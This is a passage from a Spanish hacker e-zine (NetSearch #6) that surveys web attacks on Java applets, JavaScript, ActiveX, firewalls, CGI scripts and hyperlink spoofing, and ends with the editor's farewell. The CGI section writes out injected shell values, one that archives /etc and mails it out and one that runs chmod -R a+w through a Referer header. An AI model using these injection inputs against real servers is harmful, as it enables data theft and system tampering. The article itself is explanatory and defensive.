ciertas "tecnicas" para engañar al explorador haciendole creer que los applets remotos se encuentran en el disco local, por lo que a los applets remotos se les concederian los privilegios reservados para los applets locales. Pero este no es el unico fallo que podemos encontrar en la implementacion de la seguridad de Java, por ejemplo un requerimiento que no se cumplia tal y como era de esperar era que un applet solo fuese capaz de abrir una conexion TCP con el servidor que lo habia mandado, pero en cambio este podia abrir una conexion con una maquina cualquiera en Internet por lo que incluso una maquina detras de un firewall podria ser atacada. Una parte importante de la seguridad en Java la tiene Classloader, un objeto especial de Java, donde debemos recordar que los objetos en Java son llamados clases, siendo este el responsable de convertir el codigo remoto en estructuras de datos representando a las clases de Java. Donde cualquier clase cargada desde la red requiere un Classloader, es decir para que una clase remota sea añadida a las clases locales es necesario hacer uso de Classloader, el cual hace chequeos del codigo remoto antes de cargarlo, siendo esta parte llamada byte code verifier, encargandose de que el codigo remoto no contenga : 1. Falsos punteros 2. Que no viole las restricciones de acceso impuestas 3. Que acceda a los objetos por su tipo correcto 4. Que no contenga stack overflows A su vez Classloader tambien se encarga de dar un nombre para el codigo descargado comprobando que no hay ninguno con el mismo nombre ya en la maquina, teniendo mayor prioridad los nombres locales, por lo que las clases remotas nunca podran sobreescribir nombres locales, como se ve este punto es bastante interesante ya que puede dar pie a que un atacante capacitado ataque de alguna manera a la maquina, y de hecho este mecanismo de prioridad para los nombres tiene algunas fallas. Otra clase importante es Security Manager la cual es necesaria solo para los applets remotos, encargandose de dar acceso a los recursos del sistema, donde las operaciones son clasificadas por su grado de seguridad, donde las operaciones seguras son permitidas instantaneamente, pero las operaciones no seguras necesitan que la clase Security Manager decida si es permitida o no, un ejemplo de como esta clase es consultada para acceder a la llamada del sistema mkdir es : --==[Ejemplo 1]==-- Public boolean mkdir(String path) SecurityManager security = System.getSecurityManager(); if (security != null) { security.checkWrite(path); } return mkdir0(); } Donde cuando mkdir es llamado, Security Manager se encarga de chequear si esta llamada es permitida, siendo mkdir0() llamado en caso afirmativo. Aunque estos metodos parezcan muy eficaces, a la hora de la verdad pueden fallar ya que no es facil crear unas reglas eficaces y pueden llegar a ocurrir interacciones entre ellas a la hora de tomar ciertas decisiones. Tambien es sabido que grupos privados de seguridad informatica han encontrado varias formas de saltarse los controles de acceso y llegar a ejecutar codigo arbitrario en la maquina, habiendo sido solo reportadas estas vulnerabilidades a Sun y Netscape, habiendo sido capaces de generar codigo que permitia construir una clase Classloader o Security Manager, usando Classloader para atacar al sistema, siendo la explicacion a grandes rasgos de la siguiente forma : 1. Asumiendo que las clases A y B se refieren a la clase C, un Classloader podria resolver A contra la clase C y B contra la clase C' 2. Ahora si un objeto de la clase C es situado en la clase A y pasado como argumento al metodo de B, el metodo de B trataria al objeto como si fuese de la clase C' y no C, debido a que el Classloader resolvio B contra la clase C' 3. En el caso de que C sea una clase protegida y C' sea una clase publica, el codigo "romperia" el tipo seguro de Java Por lo que llegado el caso de que un atacante ha sido capaz de romper el tipo seguro de Java, el atacante tendria pleno control, ya que controlaria todos los valores de las variables no estaticas, podria llamar a metodos arbitrarios o llegar a modificar la jerarquia de las clases. Incluso se han llegado a encontrar nuevas vias de ataque como la utilizacion no solo de un applet, sino de dos applets a la vez para llegar a romper el tipo seguro de Java. Otro tipo de ataques afectan a la manera en que se organizan las clases en Java, haciendolo el ficheros llamados paquetes, donde el nombre de estos son identificadores separados por puntos, donde el sistema interno de Java se encarga de sustituir cada "." por una "/", teniendo la restriccion de que los paquetes no pueden empezar su nombre por un "." para asegurarse de que las rutas absolutas nunca son utilizadas, donde si un paquete empieza con un "/" el sistema resolveria la localizacion como una ruta absoluta, por lo que si un atacante coloca codigo en cualquier lugar del sistema identificando su localizacion, este atacante podria hacer que el codigo fuese descargado como confiable especificando una ruta absoluta, encontradonos con que el sistema de archivos de Andrew (AFS) puede ser usado por ejemplo para acceder a los paquetes Java con una ruta absoluta. Otra forma de conseguir que una maquina ejecutase codigo como confiable seria haciendo que Netscape Navigator recobrase los ficheros de clases, si el explorador los almacena en la cache y si el atacante puede determinar los nombres de los ficheros de clases, puede llegar a conseguir que estos sean cargados como codigo confiable, encontrando que este tipo de ataque tiene un porcentaje elevado de tener exito ya que muchos usuarios tienen el cache de su explorador en directorios conocidos por todo el mundo, a la vez que para los nombres de los archivos hay un modelo standard. Aun asi todavia hay ataques mas oscuros con los que nos podemos encontrar, como es el caso del establecimiento de canales ocultos a la maquina victima sin que el usuario sepa que su maquina se esta comunicando con el atacante, donde este canal podria incluso pasar a traves de un firewall si este esta configurado para dejar pasar el trafico DNS, ademas de que toda la informacion facilitada al applet llegaria al atacante mediante este canal. --[8]-- Javascript Para empezar habria que decir que Java y Javascript son lenguajes bastante diferentes aunque por el nombre parezca lo contrario, Javascript fue desarrollado por Netscape para permitir que hubiera codigo dentro de los documentos HTML, sirviendo para cambiar dinamicamente este documento segun ciertas condiciones a la vez que es muy util a la hora de definir eventos segun la entrada proporcionada por el usuario o por la posicion del cursor en la pantalla. A simple vista se podria creer que Javascript no tiene el mismo poder que Java para afectar a los recursos del sistema, pero la realidad nos dice que puede llegar a ser bastante peligroso, aunque en general los problemas de seguridad derivados de Javascript no pueden ser explotados directamente, necesitando la interaccion del usuario aunque esta puede ser tan simple de conseguir como la eleccion de un simple boton, al generarse una pantalla de aviso en la pagina con que el usuario seleccionase un boton cualquiera el ataque tendria lugar. De una manera general los ataques que pueden llegar a ser causados mediante Javascript son : 1. Recoleccion de informacion de la victima, como puede ser los sitios visitados 2. Capacidad de conseguir listar ficheros y directorios de la maquina victima, con lo que se ganaria informacion muy valiosa sobre esta misma 3. No solo se puede llegar a poder leer archivos de la victima, tambien se puede conseguir que estos mismos sean enviados al atacante 4. Javascript puede ser usado para atacar a maquinas que tienen bloqueado el acceso a los applets de Java mediante un firewall, eliminando todas las etiquetas de los documentos HTML, donde Javascript puede ser usado para generar etiquetas en el codigo fuente, las cuales pasarian el firewall. Otra forma de hacer esto mismo seria enviando como etiqueta lo que seria suficiente para que Javascript lo reconstruyese como en el documento HTML. Una diferencia importante relativa a la seguridad entre Java y Javascript es que en Javascript no existen los conceptos de metodos privados y publicos como si ocurre en Java, por lo que no hay metodos internos que debieran ser protegidos como en Java mediante la firma de clases, asi que todos los metodos deben ser protegidos en tiempo de ejecucion. A su vez en Javascript se pueden añadir caracteristicas a los objetos existentes en tiempo de ejecucion, lo cual no es posible en Java, por tanto la proteccion que se realiza de una manera automatica en Java no es posible de aplicar en Javascript, debiendo ser manejada de forma separada. Se podria decir que la opcion mas segura seria desactivar Javascript en el explorador, debido a que bloquear estos scripts en el firewall es casi imposible. --[9]-- ActiveX ActiveX, al igual que pasaba con Java, si es firmado como codigo confiable se ejecutara en la maquina con todos los privilegios necesarios, pudiendo abrir el camino a trafico no deseado si un atacante logra cambiar las reglas especificas sobre el contenido de ActiveX. ActiveX usa un mecanismo para poder llegar a determinar si un cierto fragmento de codigo es lo suficientemente seguro o no para ejecutarse, usando para ello la autentificacion criptografica, aunque ni aun asi podemos estar del todo seguros sobre la fiabilidad de ese codigo, para ello se usan esquemas de firmas digitales basados en criptografia de llave publica, por lo tanto en estos procesos de autentificacion hay dos partes implicadas, el usuario final y el firmante del control, pudiendo este proceso ser vulnerable a los ataques llamados "third party attacks". Estos ataques se basan principalmente en el establecimiento de una conexion no segura con una web cualquiera, donde un control firmado puede ser reemplazado por un control sin firmar, un control firmado por otra persona o una version vulnerable de ese mismo control. Algunos de los peligros mas importantes con los que nos podemos enfrentar al usar ActiveX son por ejemplo la posibilidad de que nuestro firewall sea traspasado con total impunidad, muchos firewalls dicen ser capaces de filtrar todo el contenido relacionado con Java, Javascript y ActiveX, con tecnicas como las mencionadas anteriormente como eliminar las etiquetas APPLET, OBJECT o SCRIPT, pero para que esto se llegue a cumplir verdaderamente si la sintaxis HTML del firewall se comporta de la misma manera que la del explorador, ya que puede darse el caso de que la forma en que el explorador codifica la informacion al vuelo no sea entendida por el firewall. Algunos ataques interesantes han sido descubiertos por Chaos Computer Club llegando a demostrar la capacidad de controles ActiveX para buscar una aplicacion especifica en la maquina de la victima, en este caso una aplicacion financiera, pudiendo añadir a los registros internos de esta aplicacion pagos que por supuesto son totalmente falsos. Internamente los controles ActiveX vienen a comprender la tecnologia que permite descargar y ejecutar controles en un formato soportado por los mecanismos del sistema para la firma y autentificacion del codigo, normalmente incluyen : 1. Controles COM, archivos de tipo .dll y .ocx 2. Archivos ejecutables Win32, de tipo .exe 3. Archivos usados para especificar localizaciones y versiones para otro conjunto de archivos, de tipo .inf 4. Archivos referidos a una etiqueta OBJECT, de tipo .cab Un elemento importante es IntraApp, este control ActiveX esta autentificado por un certificado de Verisign, siendo sobre todo usado para trabajar en intranets, siendo su funcion la de permitir a los usuarios ejecutar programas arbitrarios en la maquina, donde la lista de programas que pueden ser ejecutados es almacenada en un archivo de configuracion, el cual es especificado como una URL en un parametro para el control. Una caracteristica importante es que ActiveX no autentifica la pagina web en la que esta situada el control, por lo que los llamados third party attacks pueden ser facilmente utilizados contra IntraApp, ya que este a su vez es considerado como seguro por lo que ante ciertas acciones ningun mensaje de aviso sera mostrado al usuario. Estos controles tambien pueden contener cualquier error de programacion que permita a un atacante atacar al sistema, ya que estos controles suelen estar escritos en C y C++, por lo que son vulnerables a los conocidos buffer overflow, estando tambien el caso de que si un atacante conoce el nombre de los parametros usados puede jugar con ellos para intentar provocar un fallo en el control afectado, un atacante tambien puede determinar la version exacta de cualquier control lo que le facilita en gran parte el trabajo. --[10]-- Firewalls vs Applets El principal problema que nos encontramos es el poder permitir la ejecucion de applets confiables a la vez que protegernos de applets maliciosos, centrandonos en este apartado en la problematica que supone Java para los firewalls. Java ofrece una manera casi imperceptible de realizar ataques en el lado del cliente, muchos de estos ataques tienen la forma de un applet de Java el cual al ser invocado por la maquina del usuario intenta establecer una conexion telnet con esta misma, yendo algunos applets mas alla cuando el Security Manager de Java les prohibe el paso al puerto telnet, ya que intentarian conectarse a otro puerto como ftp con la esperanza de que el firewall permita esa conexion. Una importante funcion por parte del firewall es la de localizar las etiquetas a la vez que saber cuando ha de bloquearlas o cuando no, siendo para este proceso muy importante el que el firewall trate el documento HTML de la misma manera que la hace el explorador, ya que aunque en la actualidad la mayoria de los exploradores tienen total compenetracion con Java, un atacante puede encontrar la forma de enviar una etiqueta de tal forma que el firewall no tenga notificacion de ello pero el explorador si, y dada la gran cantidad de formas en que los exploradores pueden interpretar los elementos HTML esta posibilidad de puede llegar a producir. Otra tecnica que se toma en cuenta a la hora de bloquear applets es bloquear todos los archivos entrantes con la firma CA FE BA BE, ya que como es requerido por Java Virtual Machine Specification, todos los archivos de clases de Java empiezan con estos 4 bytes, siendo la estrategia de bloqueo CA FE BA BE facil de implementar ya que solo necesita comprobar una pequeña porcion del contenido del archivo y aunque este metodo esta sometido a un pequeño porcentaje de falsos positivos, ya que existen archivos que sin ser archivos de clases pueden empezar con CA FE BA BE, es de gran utilidad. Otra tecnica que logicamente se usa es el filtrado de los archivos con la extension .class, aunque podemos encontrarnos con que ultimamente las clases de Java son encapsuladas en un archivo con extension .zip, por lo que esta tecnica no es del todo segura, aunque esto se resolveria de una forma tan simple como desempaquetar dicho archivo y mirar si contiene la firma CA FE BA BE. --[11]-- Cgi Scripts Los Common Gateway Interface son usados para interactuar con el usuario de una forma dinamica, suponiendo un gran avance en el campo de la WWW, siendo capaces de enviar argumentos a los programas y de recibir valores de estos. Cuando estos cgi scripts se ejecutan, lo hacen con el UID que tiene establecido el servidor web, por lo que si un cgi cualquiera tiene un fallo el cual permite a un agresor ejecutar ciertos programas, estos lo haran bajo el UID del servidor web, asi que correr bajo root se puede ver que es una mala idea. El flujo de entrada que se traspasa a un script es un conjunto de variables de entorno, donde el servidor cogeria esa entrada para procesarla. Un listado de las variables de entorno que son utilizadas en todo el proceso son : GATEWAY_INTERFACE SERVER_NAME SERVER_SOFTWARE AUTH_TYPE CONTENT_LENGTH CONTENT_TYPE PATH_INFO PATH_TRANSLATED QUERY_STRING REMOTE_ADDR REMOTE_HOST REMOTE_IDENT REMOTE_USER REQUEST_METHOD SCRIPT_NAME SERVER_PORT SERVER_PROTOCOL HTTP_ACCEPT HTTP_USER_AGENT HTTP_REFERER HTTP_ Un ejemplo de lo que podria intentar un atacante para violar la seguridad de un script, seria introducir comandos en la entrada del script o pasando caracteres de escape para que fuesen manejados por el motor del script. Si nos encontramos por ejemplo con un script escrito en algun lenguaje shell pueden empezar los problemas, una demostracion. --==[Ejemplo 1]==-- grep $INPUT_VAR_1 $INPUT_VAR_2 Aqui aparentemente no vemos nada de lo que un atacante se puede aprovechar. Pero si el agresor tiene en cuenta por ejemplo el caracter ";" las cosas pueden cambiar de la siguiente manera : INPUT_VAR_1="foo" INPUT_VAR_2="/dev/null tar cf - /etc|mail Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla " Suponiendo que la linea de comandos lo evaluase de la siguiente forma grep foo /dev/null ; tar cf - /etc | mail Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla Es entonces cuando somos conscientes del peligro al que podemos estar expuestos. Por lo que podemos comprobar que es preferible evitar los caracteres de escape en los flujos de entrada, pudiendose solucionar de una forma como la siguiente : $CLEAN_INPUT=`unescape "$DIRTY_INPUT"` Tambien nos debemos de cuidar de las variables estandar como por ejemplo $HTTP_REFERER, porque un script que incluya algo como if [ $HTTP_REFERER ] ... puede ser vulnerable a una peticion HTTP que comienze tal que asi GET /foo/bar/baz.cgi HTTP/1.0 Referer:"`chmod -R a+w .`" ... donde el comando chmod seria ejecutado dentro del comando if como una subshell haciendo al directorio escribible por cualquiera. Muchos de estos peligros pueden ser solucionados por los mensajes de error en Perl "Insecure dependency" o "Insecure PATH", debido a las fuertes restricciones que impone este lenguaje, pudiendo con el escribir scripts relativamente seguros ya que tiene en cuenta que las variables de entrada pueden ser peligrosas tratandolas de una manera especial, a la vez que tambien tiene en cuenta los peligros que conllevan las caracteristicas setuid y setgid, dando una alternativa segura al uso de estos pudiendo hacer que los peligros derivados de las races conditions desaparezcan. Otras caracteristicas seguras que encontramos en Perl son el uso de "compartimentos" o espacios protegidos de ejecucion, el uso de operadores seguros, etc. Tcl es otro lenguaje que incorpora interesantes caracteristicas de programacion segura, como el anteriormente citado uso de espacios protegidos de ejecucion, la utilizacion de un interprete esclavo sin ningun tipo de poder como la lectura o escritura de archivos, el uso de un interprete seguro que modifica la entrada proporcionada por el usuario pasandose la modificacion de esta a un interprete inseguro, etc. En cuanto a Python las caracteristicas a resaltar son que usa restricciones de ejecucion que prohiben modificar el sistema de archivos o ejecutar programas arbitrarios. --[12]-- Hyperlink Spoofing Este tipo de ataques afecta a la autentificacion de SSL, teniendo su base en los llamados ataques "man-in-the-middle" donde un atacante puede conseguir que un explorador conecte con un falso servidor, aparentando estar haciendo uso de una conexion segura, siendo el usuario susceptible a una gran variedad de ataques como la revelacion de informacion privada y sensible, la descarga de programas troyanizados, etc. El atacante se esta aprovechando en la forma en que el explorador usa los certificados digitales para asegurar las conexiones, pudiendo ser posible que este tipo de ataque pudiera extenderse no solo a SSL sino tambien a SET. El problema reside en que muchos usuarios a la hora de solicitar establecer una conexion con una pagina web, no usan para ello la URL o el nombre DNS, sino que usan para ello hyperlinks, donde SSL no verifica o no verificaba el hyperlink seleccionado por el usuario, uniendo esto a la posibilidad de DNS Spoofing hacen que una pagina cualquiera pueda "engañarnos". Por lo tanto ambos tipos de spoofing vienen a tener el mismo efecto, tanto DNS Spoofing como Hyperlink Spoofing, con la salvedad de que las tecnicas de Hyperlink Spoofing son mucho mas faciles de llevar a cabo. Un simple ejemplo : Enlace a Fabricas Pepe En este caso solo bastaria que dicha pagina fuese similar a la verdadera, con lo que la posible victima no se daria cuenta del engaño, pudiendo ser engañada para facilitar datos sensibles como datos personales, numeros de tarjetas de credito, etc. Como se ve es una autentica tonteria pero suele suceder mas de lo que se puede llegar a pensar. El explorador en todo momento informaria al usuario de que la conexion es segura, pero el ataque de spoofing ya habria tenido lugar. Ademas en un ataque con bastantes posibilidades de llegar a buen puerto el atacante no debe de ser tan minucioso con la URL que desea establecer para llevar a cabo el ataque. Direcciones de ejemplo que podrian servir para engañar a un gran numero de personas con pocos conocimientos podrian ser : https://www.xyz.net/pepe https://191.23.158.9/pepe --[13]-- Conclusion Como se ha podido ver a lo largo de todos los apartados de este articulo, cualquier usuario ha de estar en todo momento alerta al igual que todo buen administrador de un servidor web, ya que la WWW es un medio muy hostil, donde cualquiera esta expuesto a una gran variedad de ataques, los cuales pueden ser provocados por minucias como pueden ser la seleccion de un determinado icono de una pagina web o la activacion de un determinado componente en nuestro explorador del cual poco sabemos mas que sirve para permitirnos ver todo tipo de animaciones e imagenes. Por tanto cuando arranquemos nuestro explorador hemos de saber que estamos entrando en zona enemiga, puede parecer bastante paranoico, pero teniendo en cuenta la gran cantidad de personas que pueden causarnos algun tipo de daño, no lo es, la paranoia es una virtud. < Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla > "La historia nos contempla, el futuro nos espera" 0x00 -_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_ =-[ 0x18 ]-================================================================== =-[ NetSearch Ezine #6 ]-==================================================== =-[ Despedida ]-============================================================= =-[ por Editor ]-============================================================ Bueno, otra vez mas aqui acaba este numero de NetSearch Ezine. Como siempre ha sido un placer realizarlo, esperamos que os haya gustado ;). Aunque personalmente estoy muy satisfecho de este NS #6, me pasa lo de siempre, y es como si hubiera algo que no me terminara de convencer.. Me imagino que eso siempre pasara, pero al menos sirve para algo, para que nos sigamos esforzando en superarnos numero a numero. Y es que eso es lo importante, las ganas de seguir adelante, y os aseguro que a nosotros no nos faltan ;). Ahora la pregunta de siempre.. NS #7 para cuando?.. Mm.. veamos, si todo sale bien estara terminada para finales de Octubre. Para entonces muchas cosas habran pasado; el verano, la campus, las con's.. Menos mal que para eso aun falta, y tenemos todo el verano por delante para disfrutar.. Asi que ya sabeis, tened cuidado con el sol y esas cosas ;). Feliz verano y hasta pronto. Nos vemos en NetSearch Ezine #7. El Editor 0x00